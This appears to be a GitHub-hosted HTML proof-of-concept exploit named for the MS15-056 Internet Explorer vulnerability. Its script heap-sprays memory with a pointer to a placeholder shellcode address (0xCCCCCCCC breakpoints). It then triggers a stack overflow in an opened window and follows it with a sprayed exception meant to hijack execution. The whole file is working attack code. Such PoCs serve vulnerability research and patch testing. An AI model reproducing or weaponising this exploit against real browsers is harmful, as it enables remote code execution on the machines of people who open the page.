-
-
Notifications
You must be signed in to change notification settings - Fork 29
/
ms15-056.html
55 lines (55 loc) · 1.6 KB
/
ms15-056.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<!DOCTYPE html>
<html>
<script src="String.js"></script>
<script src="sprayHeap.js"></script>
<script>
function stackOverflowHighOnStack()
{
stackOverflowHighOnStack.apply(0, new Array(0x2000));
}
function attack(pTarget)
{
var axArgs = [];
while (axArgs.length < 0x200) axArgs.push((pTarget - 0x69C) >>> 1);
exceptionLowOnStackWithSpray();
function exceptionLowOnStackWithSpray()
{
try
{
(function(){}).apply(0, axArgs);
}
catch (e)
{
throw 0;
}
exceptionLowOnStackWithSpray.apply(0, axArgs);
}
}
var pSprayStartAddress = 0x09000000;
var dHeapSprayTemplate = {};
var pTarget = 0x28000201;
var pShellcode = 0x28000300;
dHeapSprayTemplate[pTarget] = pShellcode;
dHeapSprayTemplate[pShellcode] = 0xCCCCCCCC;
window.sHeapSprayBlock = createSprayBlock(dHeapSprayTemplate);
window.uHeapSprayBlockCount = getSprayBlockCount(dHeapSprayTemplate, pSprayStartAddress);
var oWindow = window.open("about:blank");
function prepare()
{
window.asHeapSpray = new Array(opener.uHeapSprayBlockCount);
for (var i = 0; i < opener.uHeapSprayBlockCount; i++)
{
asHeapSpray[i] = (opener.sHeapSprayBlock + "A").substr(0, opener.sHeapSprayBlock.length);
}
}
oWindow.eval("(" + prepare + ")();");
try
{
String(oWindow.eval("({toString:" + stackOverflowHighOnStack + "})"));
}
catch(e)
{
oWindow.eval("(" + attack + ")(" + pTarget + ")");
}
</script>
</html>